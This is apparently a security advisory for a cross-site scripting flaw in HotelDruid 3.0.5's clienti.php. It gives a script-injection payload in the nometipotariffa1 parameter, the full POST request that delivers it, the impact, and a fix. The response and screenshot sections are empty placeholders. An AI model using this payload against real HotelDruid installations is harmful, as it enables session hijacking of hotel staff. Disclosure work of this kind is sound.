Affected Version: hoteldruid version 3.0.5

Product Link: https://www.hoteldruid.com/

Product Download Link: https://www.hoteldruid.com/download/hoteldruid_3.0.5.zip

Security Issue:

Cross site scripting in POST Request via nometipotariffa1 parameter

URL: <http://localhost/hoteldruid/clienti.php>
Vulnerable Parameter: nometipotariffa1 
Method: POST
Payload: '"()&%<zzz><ScRiPt >alert(9340)</ScRiPt>

Vulnerability Description:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

HTTP Request:

POST /hoteldruid/clienti.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw
Accept: */*
Referer: <http://localhost/hoteldruid/>
Content-Length: 2664
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="anno"

2023
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="id_sessione"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="origine"

prenota.php
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="cognome"

gGBwKfnq
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="nome"

gGBwKfnq
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="inizioperiodo1"

2023-01-01
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="fineperiodo1"

2023-01-06
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="nometipotariffa1"

tariffa5'"()&%<zzz><ScRiPt >alert(9340)</ScRiPt>
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="tipo_sconto1"

tar_sett
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="sconto1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="numpersone1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="appartamento1"

05
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="lista_app1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="num_piano1"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="num_casa1"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="num_persone_casa1"

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="caparra1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="tipo_val_caparra1"

tar
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="giorno_stima_checkin1"

6
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="ora_stima_checkin1"

04
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="min_stima_checkin1"

45
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="commissioni1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="tipo_val_commissioni1"

tsc
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="num_app_richiesti1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="commento1_1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="num_commenti1"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="numcostiagg"

0
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="num_tipologie"

1
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="mos_tut_dat"

SI
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="nuovaprenotazione"

SI
------------YWJkMTQzNDcw--

HTTP Response:

Untitled

Screenshot:

Untitled

The impact of this vulnerability:

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

How to fix this vulnerability:

Apply context-dependent encoding and/or validation to user input rendered on a page